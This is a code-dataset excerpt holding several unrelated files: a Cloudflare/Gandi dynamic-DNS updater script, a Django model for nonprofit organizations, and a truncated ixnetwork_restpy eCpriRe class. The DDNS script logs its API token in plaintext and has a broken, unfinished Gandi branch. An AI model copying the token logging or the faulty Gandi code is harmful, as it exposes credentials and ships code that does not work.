"algos/tf1/ddpg_sp/DDPG_per_class.py", "file_name": "DDPG_per_class.py", "file_ext": "py", "file_size_in_byte": 13805, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sys.path.append", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 39, "usage_type": "attribute"}, {"api_name": "ddpg_sp.core.mlp_actor_critic", "line_number": 50, "usage_type": "attribute"}, {"api_name": "ddpg_sp.core", "line_number": 50, "usage_type": "name"}, {"api_name": "tensorflow.placeholder", "line_number": 74, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 74, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 75, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 75, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 76, "usage_type": "attribute"}, {"api_name": "ddpg_sp.core.placeholders", "line_number": 77, "usage_type": "call"}, {"api_name": "ddpg_sp.core", "line_number": 77, "usage_type": "name"}, {"api_name": "tensorflow.variable_scope", "line_number": 80, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 84, "usage_type": "call"}, {"api_name": "memory.sp_memory.ReplayBuffer", "line_number": 100, "usage_type": "call"}, {"api_name": "ddpg_sp.core.count_vars", "line_number": 105, "usage_type": "call"}, {"api_name": "ddpg_sp.core", "line_number": 105, "usage_type": "name"}, {"api_name": "tensorflow.stop_gradient", "line_number": 109, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 112, "usage_type": "call"}, {"api_name": "tensorflow.abs", "line_number": 116, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 117, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 120, "usage_type": "call"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 123, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 123, "usage_type": "attribute"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 124, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 124, "usage_type": "attribute"}, {"api_name": "ddpg_sp.core.get_vars", "line_number": 125, "usage_type": "call"}, {"api_name": "ddpg_sp.core.get_vars", "line_number": 126, "usage_type": "call"}, {"api_name": "tensorflow.group", "line_number": 129, "usage_type": "call"}, {"api_name": "tensorflow.assign", "line_number": 129, "usage_type": "call"}, {"api_name": "ddpg_sp.core.get_vars", "line_number": 130, "usage_type": "call"}, {"api_name": "tensorflow.group", "line_number": 133, "usage_type": "call"}, {"api_name": "tensorflow.assign", "line_number": 133, "usage_type": "call"}, {"api_name": "ddpg_sp.core.get_vars", "line_number": 134, "usage_type": "call"}, {"api_name": "tensorflow.GPUOptions", "line_number": 137, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 138, "usage_type": "call"}, {"api_name": "tensorflow.ConfigProto", "line_number": 138, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 140, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 148, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 187, "usage_type": "call"}, {"api_name": "tensorflow.train.get_checkpoint_state", "line_number": 230, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 230, "usage_type": "attribute"}, {"api_name": "tensorflow.train.latest_checkpoint", "line_number": 232, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 232, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Saver", "line_number": 243, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 243, "usage_type": "attribute"}, {"api_name": "tensorflow.train.latest_checkpoint", "line_number": 244, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 244, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Saver", "line_number": 248, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 248, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 255, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 257, "usage_type": "call"}, {"api_name": "gym.make", "line_number": 268, "usage_type": "call"}, {"api_name": "{'ReplayBuffer': 'memory.sp_memory.ReplayBuffer'}", "line_number": 276, "usage_type": "call"}, {"api_name": "time.time", "line_number": 286, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 291, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 291, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 297, "usage_type": "call"}, {"api_name": "time.time", "line_number": 307, "usage_type": "call"}, {"api_name": "time.time", "line_number": 310, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 315, "usage_type": "call"}, {"api_name": "time.time", "line_number": 315, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 316, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 334, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 334, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 338, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 338, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 339, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 339, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 340, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 340, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 341, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 341, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 343, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 343, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 344, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 344, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 345, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 345, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 346, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 346, "usage_type": "name"}]} +{"seq_id": "559986958", "text": "#!/usr/bin/env python3\n\"\"\"\n * Build By:\n * https://itheo.tech 2021\n * MIT License\n * Script to set your home (or business) IP address via cloudflare dns on A-record domain record\n * Specially used when you do not have a fixed IP address\n\"\"\"\nimport sys\nimport configparser\nimport logging\nimport logging.handlers as handlers\nimport requests\nimport threading\nfrom time import sleep\nimport concurrent.futures\nfrom concurrent.futures import ALL_COMPLETED\nimport xmlrpc\n\nimport CloudFlare\n\n\nlogger = logging.getLogger(\"ddns\")\nlogger.setLevel(logging.INFO)\n\nformatter = logging.Formatter(\"%(asctime)s - %(name)s - %(processName)s - %(threadName)s - %(levelname)s - %(message)s\")\n\nlogHandler = handlers.TimedRotatingFileHandler(\n \"logs/normal.log\", when=\"M\", interval=1, backupCount=0\n)\nlogHandler.setLevel(logging.INFO)\nlogHandler.setFormatter(formatter)\n\nerrorLogHandler = handlers.RotatingFileHandler(\n \"logs/error.log\", maxBytes=5000, backupCount=0\n)\nerrorLogHandler.setLevel(logging.ERROR)\nerrorLogHandler.setFormatter(formatter)\n\nlogger.addHandler(logHandler)\nlogger.addHandler(errorLogHandler)\n# logger.info(\"A Sample Log Statement\")\n# logger.error(\"An error log statement\")\n\n\nclass auto_ddns:\n def __init__(self, config_in) -> None:\n self.type = config_in[\"type\"]\n self.zone_id = config_in[\"zone_id\"]\n self.api_token = config_in[\"api_token\"]\n self.ip_address_type = config_in[\"ip_address_type\"]\n self.dns_name = config_in[\"dns_name\"]\n\n logger.info(\n f\" {self.zone_id} {self.api_token } {self.ip_address_type} {self.dns_name} \"\n )\n self.current_ip = None\n self.external_ip = None\n self.cf = None\n self.new_dns_record = None\n self.dns_id = None\n\n def main(self):\n self.current_ip = self.get_ip()\n\n if not self.current_ip:\n return False\n if self.type.lower() == \"cloudflare\":\n if not self.connect_cloud_dns():\n return False\n\n if not self.get_cloud_dns():\n return False\n\n if self.external_ip is not None and self.external_ip == self.current_ip:\n return True\n\n if not self.set_cloud_dns():\n return False\n if self.type.lower() == \"gandi\":\n if not self.connect_gandi_dns():\n return False\n\n if not self.get_gandi_dns():\n return False\n\n if self.external_ip is not None and self.external_ip == self.current_ip:\n return True\n\n if not self.set_cloud_dns():\n return False\n\n return True\n\n\n\n @staticmethod\n def get_ip():\n try:\n result = requests.get(\"https://checkip.amazonaws.com\")\n if result.status_code == 200:\n print(f\"got ip\")\n return result.text.strip()\n else:\n print(\"No access to outside world\")\n return False\n except Exception as e:\n logger.error(e)\n return False\n\n def connect_gandi_dns(self):\n api = xmlrpc.ServerProxy('https://rpc.gandi.net/xmlrpc/')\n apikey=self.api_token\n r = api.catalog.list(apikey, {'product': {'type': 'domain', 'description': '.at'}})\n print(r)\n pass\n\n def get_gandi_dns(self):\n #get the dns\n set_gandi_dns()\n\n def set_gandi_dns(self):\n pass\n\n def connect_cloud_dns(self):\n try:\n self.cf = CloudFlare.CloudFlare(token=self.api_token)\n except CloudFlare.exceptions.CloudFlareAPIError as e:\n print(\"connection to cloudlfare failed\")\n logger.error(\"API connection failed: {e}\")\n return False\n\n return True\n\n def get_cloud_dns(self):\n print(self.dns_name)\n try:\n params = {\n \"name\": self.dns_name,\n \"match\": \"all\",\n \"type\": self.ip_address_type,\n }\n logger.info(f'params {params}, {self.zone_id}, {self.dns_name}')\n dns_records = self.cf.zones.dns_records.get(self.zone_id, params=params)\n\n except CloudFlare.exceptions.CloudFlareAPIError as e:\n logger.error(\n \"/zones/dns_records/export %s - %d %s - api call failed\"\n % (self.zone_id, e, e)\n )\n return False\n logger.info(f\"dns_records {self.dns_name} {dns_records}\")\n for dns_record in dns_records:\n try:\n self.external_ip = dns_record[\"content\"]\n\n if self.current_ip != self.external_ip:\n self.dns_id = dns_record[\"id\"] #why\n\n self.new_dns_record = {\n \"name\": self.dns_name,\n \"type\": self.ip_address_type,\n \"content\": self.current_ip,\n \"proxied\": dns_record[\"proxied\"],\n }\n else:\n logger.info(\"Getter unchanged\")\n return False\n except Exception as e:\n logger.error(e)\n return False\n logger.info(\"GETTER RAN OK\")\n return True\n\n def set_cloud_dns(self):\n try:\n logger.info(f\"self.new_dns_record {self.new_dns_record}\")\n dns_record = self.cf.zones.dns_records.post(\n self.zone_id, self.dns_id, data=self.new_dns_record\n ) # ,\n print(dns_record)\n except CloudFlare.exceptions.CloudFlareAPIError as e:\n logger.error(\n \"/zones.dns_records.post %s - %d %s - api call failed\"\n % (self.dns_name, e, e)\n )\n return False\n\n logger.info(\n \"UPDATED: %s %s -> %s\"\n % (self.dns_name, self.external_ip, self.current_ip)\n )\n return True\n\n\ndef run_one_ddns(config):\n print(config['dns_name'])\n #logging(f'starting {config[dns_name]}')\n\n ddns = auto_ddns(config)\n\n while True:\n if ddns.main():\n sleep(300) # 15 minutes\n else:\n # I guess something went wrong, let's give the script a bit more time.\n sleep(600) # 30 minutes\n\n\nif __name__ == \"__main__\":\n configs = configparser.ConfigParser()\n configs.read(\"config.ini\")\n config_parser = [dict(configs.items(s)) for s in configs.sections()]\n print(config_parser)\n with concurrent.futures.ThreadPoolExecutor(len(config_parser)) as executor:\n fs = executor.map(run_one_ddns, config_parser)\n # x = threading.Thread(target=run_one_ddns,args=(configs[configs.sections()],range(len(configs.sections()))))\n concurrent.futures.wait(fs=fs, timeout=None, return_when=ALL_COMPLETED)\n print('Done')\n\n\n", "sub_path": "ddns.py", "file_name": "ddns.py", "file_ext": "py", "file_size_in_byte": 6782, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "logging.getLogger", "line_number": 23, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 24, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 26, "usage_type": "call"}, {"api_name": "logging.handlers.TimedRotatingFileHandler", "line_number": 28, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 28, "usage_type": "name"}, {"api_name": "logging.INFO", "line_number": 31, "usage_type": "attribute"}, {"api_name": "logging.handlers.RotatingFileHandler", "line_number": 34, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 34, "usage_type": "name"}, {"api_name": "logging.ERROR", "line_number": 37, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 100, "usage_type": "call"}, {"api_name": "xmlrpc.ServerProxy", "line_number": 112, "usage_type": "call"}, {"api_name": "CloudFlare.CloudFlare", "line_number": 127, "usage_type": "call"}, {"api_name": "CloudFlare.exceptions", "line_number": 128, "usage_type": "attribute"}, {"api_name": "CloudFlare.exceptions", "line_number": 146, "usage_type": "attribute"}, {"api_name": "CloudFlare.exceptions", "line_number": 182, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 204, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 207, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 211, "usage_type": "call"}, {"api_name": "concurrent.futures.futures.ThreadPoolExecutor", "line_number": 215, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 215, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 215, "usage_type": "name"}, {"api_name": "concurrent.futures.futures.wait", "line_number": 218, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 218, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 218, "usage_type": "name"}, {"api_name": "concurrent.futures.ALL_COMPLETED", "line_number": 218, "usage_type": "name"}]} +{"seq_id": "130431952", "text": "from django.db import models\nfrom django.utils import timezone\nfrom django.contrib.auth.models import User\nfrom django_countries.fields import CountryField\nfrom autoslug.fields import AutoSlugField\n\n\norgCategories = (\n ('animal','Animal Welfare'),\n ('arts-culture','Arts and Culture'),\n ('children','Children'),\n ('civil-rights','Civil Rights'),\n ('climate-change','Climate Change'),\n ('disaster-relief','Disaster Relief'),\n ('economic-development','Economic Development'),\n ('education','Education'),\n ('environment','Environment'),\n ('health','Health'),\n ('hiv-aids','HIV-AIDS'),\n ('human-rights','Human Rights'),\n ('hunger','Hunger'),\n ('poverty','Poverty'),\n ('science-technology','Science and Technology'),\n ('social-services','Social Services'),\n ('women-girls','Women and Girls'),\n ('other','Other')\n)\n\n\nclass NonProfitOrganization(models.Model):\n name = models.CharField('Name', max_length=255)\n name_slug = AutoSlugField(populate_from='name', unique=True)\n ein = models.CharField('EIN', primary_key=True, max_length=70)\n description = models.TextField('Description', blank=True)\n mission = models.TextField('Mission', blank=True)\n address_line_1 = models.CharField('Address Line 1', max_length=200, blank=True)\n address_line_2 = models.CharField('Address Line 2', max_length=200, blank=True)\n city = models.CharField('City', max_length=50, blank=True)\n state = models.CharField('State', max_length=50, blank=True)\n zipcode = models.CharField('Zip Code', max_length=50, blank=True)\n country = CountryField(default='US')\n email = models.EmailField('Email')\n url = models.URLField('URL', default=\"\", blank=True)\n phone = models.CharField('Phone', max_length=70)\n logo = models.ImageField(upload_to='org_images/%Y/%m/%d', blank=True)\n is_faith_based = models.BooleanField('Faith Based', default=False)\n join_date = models.DateTimeField('Join Date', editable=False, null=True)\n last_update_date = models.DateTimeField('Last Update', blank=True)\n is_locked = models.BooleanField('Organization Locked', default=True)\n category = models.CharField('Category', max_length=255, choices = orgCategories)\n primary_contact = models.ForeignKey(User, verbose_name='Primary Contact', blank=True, null=True)\n\n def __unicode__(self):\n return self.name\n\n def save(self, *args, **kwargs):\n \"\"\" On save, update timestamps \"\"\"\n if not self.ein:\n self.join_date = timezone.now()\n self.last_update_date = timezone.now()\n return super(NonProfitOrganization, self).save(*args, **kwargs)\n\n def get_absolute_url(self):\n return '/organization/%s/' % self.name_slug\n\n def get_full_address(self):\n full_address = ''\n if self.address_line_1:\n full_address += self.address_line_1 + ', '\n if self.address_line_2:\n full_address += self.address_line_2 + ', '\n if self.city:\n full_address += self.city + ', '\n if self.state:\n full_address += self.state + ', '\n if self.zipcode:\n full_address += self.zipcode + ', '\n if self.country:\n full_address += str(self.country.name)\n return full_address", "sub_path": "js1kg/organization/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 3236, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.db.models.Model", "line_number": 30, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 31, "usage_type": "name"}, {"api_name": "autoslug.fields.AutoSlugField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 34, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 34, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 35, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 35, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 36, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 38, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 38, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 39, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 39, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 40, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 40, "usage_type": "name"}, {"api_name": "django_countries.fields.CountryField", "line_number": 41, "usage_type": "call"}, {"api_name": "django.db.models.EmailField", "line_number": 42, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 42, "usage_type": "name"}, {"api_name": "django.db.models.URLField", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 43, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 44, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 44, "usage_type": "name"}, {"api_name": "django.db.models.ImageField", "line_number": 45, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 45, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 46, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 46, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 47, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 47, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 48, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 48, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 49, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 49, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 50, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 50, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 51, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User", "line_number": 51, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 51, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 59, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 59, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 60, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 60, "usage_type": "name"}]} +{"seq_id": "443043393", "text": "# MIT LICENSE\n#\n# Copyright 1997 - 2020 by IXIA Keysight\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"),\n# to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense,\n# and/or sell copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\nimport sys\nfrom ixnetwork_restpy.base import Base\nfrom ixnetwork_restpy.files import Files\n\nif sys.version_info >= (3, 5):\n from typing import List, Any, Union\n\n\nclass ECpriRe(Base):\n \"\"\"EcpriRe\n The ECpriRe class encapsulates a list of eCpriRe resources that are managed by the user.\n A list of resources can be retrieved from the server using the ECpriRe.find() method.\n The list can be managed by using the ECpriRe.add() and ECpriRe.remove() methods.\n \"\"\"\n\n __slots__ = ()\n _SDM_NAME = \"eCpriRe\"\n _SDM_ATT_MAP = {\n \"ActionType\": \"actionType\",\n \"Active\": \"active\",\n \"Address\": \"address\",\n \"CompensationValue\": \"compensationValue\",\n \"ConnectedVia\": \"connectedVia\",\n \"Count\": \"count\",\n \"DelayMeasurementId\": \"delayMeasurementId\",\n \"DescriptiveName\": \"descriptiveName\",\n \"DummyBytesLength\": \"dummyBytesLength\",\n \"ElementId\": \"elementId\",\n \"Errors\": \"errors\",\n \"EventId\": \"eventId\",\n \"EventSequenceNumber\": \"eventSequenceNumber\",\n \"EventType\": \"eventType\",\n \"MessageType\": \"messageType\",\n \"Multiplier\": \"multiplier\",\n \"Name\": \"name\",\n \"NumberOfFaultSubObjects\": \"numberOfFaultSubObjects\",\n \"ReadWriteType\": \"readWriteType\",\n \"RemoteResetId\": \"remoteResetId\",\n \"ReservedActionType\": \"reservedActionType\",\n \"ReservedEventType\": \"reservedEventType\",\n \"ReservedResetCode\": \"reservedResetCode\",\n \"ResetCodeOp\": \"resetCodeOp\",\n \"RmaAction\": \"rmaAction\",\n \"RmaDataLength\": \"rmaDataLength\",\n \"RtcDataLength\": \"rtcDataLength\",\n \"SequenceId\": \"sequenceId\",\n \"SessionStatus\": \"sessionStatus\",\n \"StackedLayers\": \"stackedLayers\",\n \"StartingRmaId\": \"startingRmaId\",\n \"StartingRtcId\": \"startingRtcId\",\n \"StateCounts\": \"stateCounts\",\n \"Status\": \"status\",\n \"TimeStamp\": \"timeStamp\",\n \"VendorSpecificPayloadLength\": \"vendorSpecificPayloadLength\",\n }\n _SDM_ENUM_MAP = {\n \"messageType\": [\n \"realTimeControlData\",\n \"remoteMemoryAccess\",\n \"onewayDelayMeasurement\",\n \"remoteReset\",\n \"eventIndication\",\n ],\n \"status\": [\n \"configured\",\n \"error\",\n \"mixed\",\n \"notStarted\",\n \"started\",\n \"starting\",\n \"stopping\",\n ],\n }\n\n def __init__(self, parent, list_op=False):\n super(ECpriRe, self).__init__(parent, list_op)\n\n @property\n def Connector(self):\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.connector_d0d942810e4010add7642d3914a1f29b.Connector): An instance of the Connector class\n\n Raises\n ------\n - ServerError: The server has encountered an uncategorized error condition\n \"\"\"\n from ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.connector_d0d942810e4010add7642d3914a1f29b import (\n Connector,\n )\n\n if len(self._object_properties) > 0:\n if self._properties.get(\"Connector\", None) is not None:\n return self._properties.get(\"Connector\")\n return Connector(self)\n\n @property\n def ECpriFaultSubObjectsList(self):\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ecprifaultsubobjectslist_066a935ffc4b8b88998000da08d713eb.ECpriFaultSubObjectsList): An instance of the ECpriFaultSubObjectsList class\n\n Raises\n ------\n - ServerError: The server has encountered an uncategorized error condition\n \"\"\"\n from ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.ecprifaultsubobjectslist_066a935ffc4b8b88998000da08d713eb import (\n ECpriFaultSubObjectsList,\n )\n\n if len(self._object_properties) > 0:\n if self._properties.get(\"ECpriFaultSubObjectsList\", None) is not None:\n return self._properties.get(\"ECpriFaultSubObjectsList\")\n return ECpriFaultSubObjectsList(self)\n\n @property\n def OranDU(self):\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.orandu_3c913d8352aa36ef882a1ba8a0683584.OranDU): An instance of the OranDU class\n\n Raises\n ------\n - ServerError: The server has encountered an uncategorized error condition\n \"\"\"\n from ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.orandu_3c913d8352aa36ef882a1ba8a0683584 import (\n OranDU,\n )\n\n if len(self._object_properties) > 0:\n if self._properties.get(\"OranDU\", None) is not None:\n return self._properties.get(\"OranDU\")\n return OranDU(self)\n\n @property\n def OranRU(self):\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.oranru_c5d61b81f2557e778753a97ef8b7363b.OranRU): An instance of the OranRU class\n\n Raises\n ------\n - ServerError: The server has encountered an uncategorized error condition\n \"\"\"\n from ixnetwork_restpy.testplatform.sessions.ixnetwork.topology.oranru_c5d61b81f2557e778753a97ef8b7363b import (\n OranRU,\n )\n\n if len(self._object_properties) > 0:\n if self._properties.get(\"OranRU\", None) is not None:\n return self._properties.get(\"OranRU\")\n return OranRU(self)\n\n @property\n def ActionType(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): Action Type value 0x00 and 0x01 are used when an eCPRI node initiates a one-way delay measurement in direction from its own node to another node. Value 0x02 is used when an eCPRI node needs to know the one-way delay from another node to itself.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"ActionType\"]))\n\n @property\n def Active(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): Activate/Deactivate Configuration\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"Active\"]))\n\n @property\n def Address(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): The Address is a 48-bit value. Details such as whether the memory on the opposite node is organized in one or more memory banks or whether an address offset is signaled over the interface etc. are vendor specific. The Element ID could be used for identifying a specific memory hardware instance.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"Address\"]))\n\n @property\n def CompensationValue(self):\n # type: () -> 'Multivalue'\n \"\"\"\n Returns\n -------\n - obj(ixnetwork_restpy.multivalue.Multivalue): When Action Type is set to 0x00 (Request), 0x02 (Response) or 0x05 (Follow_Up) in the message, this field will contain the Compensation Value which is the compensation time measured in nanoseconds and multiplied by 2 to the power 16 and follows the format for the correctionField in the common message header specified in IEEE 1588-2008 Clause 13.3 [13]. When Action Type is set to 0x03 (Remote Request) or 0x04 (Remote Request with Follow_Up) the time information fields TimeStamp and Compensation Value are set to 0b in all bits. A Compensation Value of 0 (zero) is a valid value.Example: A Compensation Value of 183.5 ns is represented as 0000000000B78000 with base 16.\n \"\"\"\n from ixnetwork_restpy.multivalue import Multivalue\n\n return Multivalue(\n self, self._get_attribute(self._SDM_ATT_MAP[\"CompensationValue\"])\n )\n\n @property\n def ConnectedVia(self):\n # type: () -> List[str]\n \"\"\"DEPRECATED\n Returns\n -------\n - list(str[None | /api/v1/sessions/1/ixnetwork/topology]): List of layers this layer is used to connect with to the wire.\n \"\"\"\n return self._get_attribute(self._SDM_ATT_MAP[\"ConnectedVia\"])\n\n @ConnectedVia.setter\n def ConnectedVia(self, value):\n # type: (List[str]) -> None\n self._set_attribute(self._SDM_ATT_MAP[\"ConnectedVia\"], value)\n\n @property\n def Count(self):\n # type: () -> int\n 